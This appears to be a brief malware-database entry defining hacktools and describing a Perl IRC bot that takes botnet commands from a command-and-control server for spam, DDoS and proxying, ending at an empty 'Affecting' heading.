Hacktools are specially crafted tools to perform malicious or illicit activities, such as controlling botnets, mining bitcoins, triggering Denial-of-Service attacks and bruteforcing passwords. Those tools most of the time hidden in the filesystem and were installed among with other malicious code throug a vulnerability or an already compromised server.
This perl script is a IRC bot, it connects to a IRC server and accept commands from the Command & Control server. This kind of malware is what turn the computers into zombies, the botnet clients, sending spam, DDoS attacks and acting as a proxy for their owners to attack other servers.

Affecting
